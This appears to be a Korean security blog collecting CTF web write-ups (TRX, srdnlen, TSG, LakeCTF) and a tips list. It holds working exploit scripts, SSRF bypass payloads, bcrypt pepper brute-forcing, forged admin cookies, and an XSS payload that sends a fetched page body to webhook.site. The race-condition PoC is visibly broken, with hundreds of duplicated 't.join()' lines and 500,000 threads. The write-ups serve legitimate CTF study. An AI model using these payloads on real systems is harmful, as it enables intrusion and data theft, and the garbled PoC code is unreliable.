Online Python Editor

# app.py
import ast
import traceback
from flask import Flask, render_template, request

app = Flask(__name__)

@app.get("/")
def home():
    return render_template("index.html")

@app.post("/check")
def check():
    try:
        ast.parse(**request.json)
        return {"status": True, "error": None}
    except Exception:
        return {"status": False, "error": traceback.format_exc()}
        
if __name__ == '__main__':
    app.run(debug=True)

 

# secret.py
def main():
    print("Here's the flag: ")
    print(FLAG) 
    
FLAG = "TRX{fake_flag_for_testing}"

main()

 

ast.parse 함수에 filename에 secret.py를 넘겨서, FLAG를 유출할 수 있다.

https://docs.python.org/3/library/ast.html#ast.parse

{
  "source": "\n\n\n\n\nprint(",
  "filename": "secret.py"
}

 

'Hacking > CTF' 카테고리의 다른 글

srdnlen CTF 2025 Write Up  (0) 2025.01.20
[CTF] CTF 및 Wargame 풀이팁  (0) 2025.01.15
TSG CTF  (0) 2024.12.16
LakeCTF '24-'25 Quals  (2) 2024.12.09

Korean

어제 새벽부터 srdnlen CTF에 참가했다. 초반에 문제 난이도를 보고 "이거 잘하면 본선에 갈 수도 있겠다!"라는 생각을 했지만 어림도 없었다.

최종 순위를 29등으로 마무리했다. 아쉽지만 공부는 계속해야 한다. 웹 문제 4개 중 풀지 못한 한 문제에 대해 Write-up을 정리해보려고 한다.

 

Average HTTP/3 Enjoyer

HTTP/3 관련 문제로 Haproxy의 ACL 설정 때문에 /flag 경로에 접근이 차단되는 상황이었다. HTTP/3의 특성을 이용해 이를 우회할 수 있었다. 처음에는 Haproxy 0-day 취약점이라고 착각했을 정도로 정말 어려운 문제였다.

https://www.rfc-editor.org/rfc/rfc9114.html#name-request-pseudo-header-field

 

RFC 9114: HTTP/3

The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "NOT RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in BCP 14 [RFC2119] [RFC8174] when, and only when, they

www.rfc-editor.org

 

원래는 위 문제만 따로 작성하려고 했는데, 나머지도 함께 정리해보려고 한다.

Focus. Speed. I am speed.

// Apply the gift card value to the user's balance
const { Balance } = await User.findById(req.user.userId).select('Balance');
user.Balance = Balance + discount.value;
// Introduce a slight delay to ensure proper logging of the transaction 
// and prevent potential database write collisions in high-load scenarios.
new Promise(resolve => setTimeout(resolve, delay * 1000));
user.lastVoucherRedemption = today;
await user.save();

위 소스코드는 쿠폰 등록 로직 중 일부인데, 딜레이를 처리하는 부분에서 Race Condition이 발생할 가능성이 있다고 판단했다.

// Now handle the DiscountCode (Gift Card)
let { discountCode } = req.query;

if (!discountCode) {
    return res.render('error', { Authenticated: true, message: 'Discount code is required!' });
}

const discount = await DiscountCodes.findOne({discountCode})

if (!discount) {
    return res.render('error', { Authenticated: true, message: 'Invalid discount code!' });
}

추가로 쿠폰을 검색하는 과정에서 Nosql Injection이 발생한다.

 

PoC

import requests
import threading

def register_user(username, password):
    """
    회원가입 후, 응답 헤더/쿠키에서 JWT 쿠키를 파싱해 반환
    """
    url = "http://speed.challs.srdnlen.it:8082/register-user"
    
    # 보통 'application/json' 형태를 받을 수도 있지만,
    # 실제 서버 상황에 따라 bodyParser가 json인지 urlencoded인지 맞춰야 함
    # 여기서는 urlencoded로 전송한다고 가정
    data = {
        "username": username,
        "password": password
    }
    
    print("[*] Trying to register user...")
    response = requests.post(url, json=data)
    
    # 회원가입 결과 출력(디버그 목적)
    print("[*] Registration response:", response.text)
    
    # 쿠키 중 'jwt' 값이 있는지 확인
    if 'jwt' in response.cookies:
        session_cookie = response.cookies.get('jwt')
        print(f"[+] Registration success. JWT Cookie: {session_cookie}")
        return session_cookie
    else:
        print("[!] JWT cookie not found in response. Check if registration was successful.")
        return None


def exploit_race(session_cookie, discount_code, num_threads=10):
    """
    Race condition exploit for gift card redemption
    """
    url = "http://speed.challs.srdnlen.it:8082/redeem"
    cookies = {"jwt": session_cookie}
    params = {"discountCode": discount_code}
    
    def make_request():
        try:
            response = requests.get(url, params=params, cookies=cookies, timeout=5)
            # /redeem 라우트가 render('error')를 호출하면 HTML 반환도 가능하니, 상황에 맞게 확인
            if response.status_code == 200:
                # res.json()으로 응답했을 경우
                # 혹은 response.text 등을 직접 확인할 수도 있음
                try:
                    print(f"[Thread] Response JSON: {response.json()}")
                except:
                    print(f"[Thread] Response Text: {response.text[:200]}")
            else:
                print(f"[Thread] HTTP {response.status_code} - {response.text[:200]}")
        except Exception as e:
            print(f"[Thread] Error: {e}")
    
    print(f"[*] Starting {num_threads} threads for race condition exploit...")
    threads = []
    for _ in range(num_threads):
        t = threading.Thread(target=make_request)
        threads.append(t)
        t.start()
    
    # 모든 쓰레드가 끝날 때까지 대기
    for t in threads:
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()
        t.join()

        t.join()
        t.join()

    print("[*] Race condition exploit finished.")


if __name__ == "__main__":
    """
    사용 예시:
    1) python exploit.py (직접 수정 필요)
    - 아래 변수를 원하는 대로 조정:
      USERNAME, PASSWORD, DISCOUNT_CODE, NUM_THREADS
    """
    
    USERNAME = "tasdfsdfsdfssdfdsffdsffsdfdsdsfdsdadfaf"
    PASSWORD = "p455w0rd"
    DISCOUNT_CODE = "69JT0DQHHBIR"  # 실제 사용하려는 코드
    NUM_THREADS = 500000      # 병렬 요청 개수
    
    # 1) 회원가입 -> JWT 쿠키 획득
    jwt_cookie = register_user(USERNAME, PASSWORD)
    
    if jwt_cookie:
        # 2) 레이스 컨디션 익스플로잇 시도
        exploit_race(jwt_cookie, DISCOUNT_CODE, NUM_THREADS)
    else:
        print("[!] Cannot proceed with race exploit, no JWT cookie acquired.")

 

English

 

'Hacking > CTF' 카테고리의 다른 글

TRX CTF 2025  (0) 2025.02.24
[CTF] CTF 및 Wargame 풀이팁  (0) 2025.01.15
TSG CTF  (0) 2024.12.16
LakeCTF '24-'25 Quals  (2) 2024.12.09

1. 특히 Node.js에서 bodyParser.json()이 활성화되어있는 경우, 배열을 잘 활용하는 것이 중요하다.
코드에서 includes 함수, length 함수를 사용하면 배열을 통해 Bypass 할 수 있다. Example) indexOf

 

2. 템플릿 관련 문제를 풀 때, 렌더링 할 때 특정 문자열을 필터링하는 경우, 반복문을 이용해서 모든 객체를 출력하는 등의 방법으로 풀 수 있다. Ex) LineCTF 2021 babysandbox 

 

Ref: https://handlebarsjs.com/examples/builtin-helper-each-block.html 

 

Handlebars

 

handlebarsjs.com

 

3. Node.js 소스코드에서 parseFloat 함수 등을 사용하는 경우, parseFloat issue를 고려하자.. 
Ref: Dreamhack Self-deception Ex) parseFloat(1 - 0.9999999) => 9.999999994736442e-8 이 때 parseInt로 변경하면 9가 된다.

 

4. Nginx, Haproxy 등에서 Endpoint 검증할 때 대소문자 등 다양한 방법으로 우회 시도 

 

5. Hs256 to Rs256 public key 엔터 여부 등등 여러요소 고려

 

6. IPv4, IPv6 등 IP 주소를 입력할 수 있는 곳이 있다면 IPv6 Scope Id를 이용하여 Comand Injection과 같으 공격 수행 가능

 

7. toLowerCase(), toUpperCase() bypass with unicode

 

8. Python에서 SSRF 취약점 방지를 위한 PORT 검사를 할 때, 0으로 bypass 하고 iptables를 이용하여 80포트로 리다이렉션되게 할 수 있다.

 

9. Script load 하는 부분에서 Relative Path Overwrite 확인

<script src="/app/main.js"></script>
<script src="app/main.js"></script>

 

10. 특히 XSS 할 때, '+' 특수문자 인코딩 주의

 

11. Nginx filter bypass
Ref: https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/nginx.html?highlight=nginx#nginx

 

12. non-printable ASCII character(0x00-0x1F and 0x7F-0xFF) - dreamboard

 

13. https://github.com/synacktiv/php_filter_chain_generator

 

GitHub - synacktiv/php_filter_chain_generator

Contribute to synacktiv/php_filter_chain_generator development by creating an account on GitHub.

github.com

14. hash_file, file, file_get_contents 등 함수를 사용할 때 php filter chain

 
 

 

 

'Hacking > CTF' 카테고리의 다른 글

TRX CTF 2025  (0) 2025.02.24
srdnlen CTF 2025 Write Up  (0) 2025.01.20
TSG CTF  (0) 2024.12.16
LakeCTF '24-'25 Quals  (2) 2024.12.09

Toolong Tea

import { serve } from "@hono/node-server";
import { serveStatic } from "@hono/node-server/serve-static";
import { Hono } from "hono";

const flag = process.env.FLAG ?? "TSGCTF{DUMMY}";

const app = new Hono();

app.get("*", serveStatic({ root: "./public" }));

app.post("/", async (c) => {
	try {
		const { num } = await c.req.json();
		if (num.length === 3 && [...num].every((d) => /\d/.test(d))) {
			const i = parseInt(num, 10);
			if (i === 65536) {
				return c.text(`Congratulations! ${flag}`);
			}
			return c.text("Please send 65536");
		}
		if (num.length > 3) {
			return c.text("Too long!");
		}
		return c.text("Please send 3-digit integer");
	} catch {
		return c.text("Invalid JSON", 500);
	}
});

serve({
	fetch: app.fetch,
	port: 4932,
});

65536을 보내면 flag를 얻을 수 있지만, num.length === 3으로 인해서 제한이 있다.
parseInt 함수를 이용해서 값을 받기 때문에 리스트로 전달하면 우회할 수 있다.

$ curl -X POST http://34.84.32.212:4932/ -d '{"num": [65536, 1, 2]}'
Congratulations! TSGCTF{A_holy_night_with_no_dawn_my_dear...}

I Have Been Pwned

<?php
$pepper1 = "____REDACTED____";
$pepper2 = "____REDACTED____";
assert(strlen($pepper1) === 16 && strlen($pepper2) === 16);
$admin_password = "__REDACTED_____";
assert(strlen($admin_password) === 15);

$msg = "";
if (isset($_POST["auth"]) and isset($_POST["password"])) {
    $success = false;
    if ($_POST["auth"] === "guest") {
        $success = true;
    } else if(($_POST["auth"] === "admin") and hash_equals($admin_password, $_POST["password"])) {
        // $success = true;
        $msg = "Sorry, the admin account is currently restricted from new logins. Please use a device that is already logged in.";
    } else {
        $msg = "Invalid username or password.";
    }

    if ($success) {
        $hash = password_hash($pepper1 . $_POST["auth"] . $_POST["password"] . $pepper2, PASSWORD_BCRYPT);
        setcookie("auth", $_POST["auth"], time() + 3600*24);
        setcookie("hash", base64_encode($hash), time() + 3600*24);
        header("Location: mypage.php");
    }
}
?>

<!DOCTYPE html>
<html>
    <head>

    </head>
    <body>
        <form action="index.php" method="POST">
            Username: <input type="text" name="auth" required value="guest" />
            Password: <input type="password" name="password" required />
            <input type="submit" value="Login" />
        </form>
        <div style="color: red">
            <?= $msg ?>
        </div>
	</body>
</html>

PHP error message to leak information을 이용해서 $pepper1(15글자), $admin_password를 추출할 수 있다.

먼저, password_hash 함수에 null을 삽입해서 $pepper1(15글자)를 알아낼 수 있다.

References: https://www.php.net/manual/en/function.password-hash.php

hash_equals 함수에 Array를 삽입하면 $admin_password를 알아낼 수 있다.

$pepper1의 마지막 글자를 알아내기 위해서는 BCrypt의 특성을 활용해야 한다.
BCrypt는 입력된 비밀번호의 첫 72바이트까지만 처리하고 이후의 문자열은 무시한다. 따라서 비밀번호를 길게 입력하면 $pepper2를 무력화할 수 있고 이 상태에서 브루트 포싱을 실행하면 $pepper1의 마지막 글자를 효율적으로 추출할 수 있다.

import base64
import bcrypt
import string
import requests

URL = "http://34.84.32.212:8080"
pepper1_15 = "PmVG7xe9ECBSgLU"


response = requests.post(
    URL, data={"auth": "guest", "password": "A" * 51}, allow_redirects=False
)
hash = base64.b64decode(response.cookies["hash"])

if hash.startswith(b"$2y$"):
    hash = b"$2b$" + hash[4:]

for i in string.printable:
    if bcrypt.checkpw(f"{pepper1_15}{i}guest{'A' * 51}".encode(), hash):
        print(f"FOUND: {pepper1_15}{i}")
        break

위 테크닉을 응용하면, 동일한 방식으로 $pepper2도 추출할 수 있다.

import base64
import bcrypt
import string
import requests

URL = "http://34.84.32.212:8080"
pepper1 = "PmVG7xe9ECBSgLUA"

pepper2 = ""
for i in range(16):
    response = requests.post(
        URL,
        data={"auth": "guest", "password": "A" * (51 - (i + 1))},
        allow_redirects=False,
    )
    hash = base64.b64decode(response.cookies["hash"])

    if hash.startswith(b"$2y$"):
        hash = b"$2b$" + hash[4:]

    for j in string.printable:
        if bcrypt.checkpw(
            f"{pepper1}guest{'A' * (51 - (i + 1)) + pepper2 + j}".encode(), hash
        ):
            print(f"FOUND: {pepper2 + j}")
            pepper2 += j
            break
$ php -r "echo password_hash('PmVG7xe9ECBSgLUAadminKeTzkrRuESlhd1V8oC7mIiDFw4hQv2e', PASSWORD_BCRYPT);" | base64 -w 0
JDJ5JDEwJHBqTkl6SDg4Qm85VG1kd1NiZ3VqQWVJT0tGVm15U05XUDRqNVRXUkpPN3BEaHBnaTFyTFp1
$ curl http://34.84.32.212:8080/mypage.php -H "Cookie: auth=admin; hash=JDJ5JDEwJHBqTkl6SDg4Qm85VG1kd1NiZ3VqQWVJT0tGVm15U05XUDRqNVRXUkpPN3BEaHBnaTFyTFp1"
<!DOCTYPE html>
<html>

<head>

</head>

<body>
    Hello admin! Flag is TSGCTF{Pepper. The ultimate layer of security for your meals.}
</body>

</html>

'Hacking > CTF' 카테고리의 다른 글

TRX CTF 2025  (0) 2025.02.24
srdnlen CTF 2025 Write Up  (0) 2025.01.20
[CTF] CTF 및 Wargame 풀이팁  (0) 2025.01.15
LakeCTF '24-'25 Quals  (2) 2024.12.09

our team name was stolen

'our team name was stolen' 팀으로 Academic 부문 예선에서 10위를 기록하며 본선 진출에 성공했습니다.

평소에 풀던 웹 문제와는 달리 게싱적인 요소가 많아 어려움을 느꼈던 대회입니다 .. ㅠㅠ
웹 문제 전체 Write-Up을 작성하면 도움이 될 것 같아, 한 번 블로그에 정리해보려고 합니다.

o1

이 문제는 3단 프록시로 구성되어 있으며, 각 프록시별 필터를 우회해 SSRF를 트리거하는 방식으로 접근해야 했습니다. 최종적으로는 9222 포트에 위치한 /secret 엔드포인트에 localhost로 접속하는 것이 목표였습니다.
1단계 필터
def proxy():
    url = request.args.get('url', '')
    if not url:
        return 'Missing url parameter', 400

    # Replace backslashes with slashes
    url = url.replace('\\', '/')
    print(url, flush=True)
    parsed = urllib.parse.urlparse(url)
    print(parsed, flush=True)

    # Check for valid protocol
    if parsed.scheme not in ['http', 'https']:
        return 'invalid protocol', 400

    # Check for custom port
    if parsed.port:
        return 'no custom port allowed', 400
2단계 필터
def proxy():
    data = request.get_json()
    if not data or 'url' not in data:
        return 'Missing url parameter', 400

    url = data['url']
    parsed = urllib.parse.urlparse(url)
    scheme = parsed.scheme
    hostname = parsed.hostname
    port = parsed.port

    # Determine the port if not explicitly specified
    if port is None:
        try:
            port = socket.getservbyname(scheme)
        except:
            return 'Invalid scheme', 400

    # Validate the target domain based on the port
    if (port == 443 and hostname != 'example.com') or (port == 80 and hostname != 'example.net'):
        return 'invalid target domain!', 400

1번째와 2번째 필터는 모두 포트 검사를 수행하고 있으며, 이를 우회하는 것이 문제 해결의 핵심인 것으로 보입니다.

 

if parsed.port:
    return 'no custom port allowed', 400

이 부분에서는 port가 0일 경우 항상 false로 처리되므로 이를 이용해 필터를 우회할 수 있습니다.

 

if (port == 443 and hostname != 'example.com') or (port == 80 and hostname != 'example.net'):
    return 'invalid target domain!', 400

이 부분에서는 포트가 443 또는 80일 때만 확인하도록 되어 있으므로, 포트를 0으로 설정하면 두 조건을 모두 우회할 수 있습니다.

 

iptables -t nat -A PREROUTING -p tcp --dport 0 -j REDIRECT --to-port 80

그리고 위 iptables 설정으로 포트 0으로 설정된 요청을 정상적인 HTTP 요청으로 처리할 수 있게 했습니다.

 

Payload

curl "https://challs.polygl0ts.ch:9222/proxy?url=http://<your-server>:0"

 

해당 문제는 socket.getservbyname()로 인해 Race Condition을 이용해 해결할 수도 있습니다.

https://github.com/python/cpython/issues/74667#issuecomment-1093749466

 

socket.getservbyname(), socket.getservbyport(), socket.getprotobyname() are not threadsafe · Issue #74667 · python/cpython

BPO 30482 Nosy @pitrou, @vstinner, @njsmith, @dwfreed Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state. Show more details GitHub...

github.com

Payload

import aiohttp
import asyncio

async def req_example():
    url = "https://challs.polygl0ts.ch:9222/proxy?url=https://example.com"
    async with aiohttp.ClientSession() as session:
        async with session.get(url) as response:
            await response.text()

async def req_secret():
    url = "https://challs.polygl0ts.ch:9222/proxy?url=http:/localhost:9222/secret"
    async with aiohttp.ClientSession() as session:
        async with session.get(url) as response:
            print(await response.text())

loop = asyncio.get_event_loop()
while True:
    loop.run_until_complete(asyncio.gather(req_example(), req_secret()))

yascc

if(!error){
    res.header("content-type", query.contentType)
}

위 코드를 통해 사용자는 Content-Type 헤더를 자유롭게 조작할 수 있으며, 예를 들어 text/javascript로 변경하여 다음과 같은 post를 작성할 수 있습니다.

(async () => {let x = await fetch("/api/posts/1/body").then(res => res.text()); window.location="https://webhook.site/x/"+btoa(x)%7D)()

위 자바스크립트 코드를 실행하기 위해서는 다음과 같이 post를 작성하면 됩니다. CSP 헤더를 확인해보면 default-src가 self로 설정되어 있어 동일 출처에서만 리소스를 허용하기 때문에 실행이 가능합니다.

<script src="/api/posts/1750/body?contentType=application/javascript"></script>

 

Final Payload

 curl -X POST "https://challs.polygl0ts.ch:8333/posts/1%2F..%2F..%2Fapi%2Fposts%2F<id>%2Fbody/report"

( 아직 실제로 익스플로잇을 시도해보지 않았으므로, 로컬 환경에서 테스트를 진행해볼 예정입니다. )

 

 

'Hacking > CTF' 카테고리의 다른 글

TRX CTF 2025  (0) 2025.02.24
srdnlen CTF 2025 Write Up  (0) 2025.01.20
[CTF] CTF 및 Wargame 풀이팁  (0) 2025.01.15
TSG CTF  (0) 2024.12.16

+ Recent posts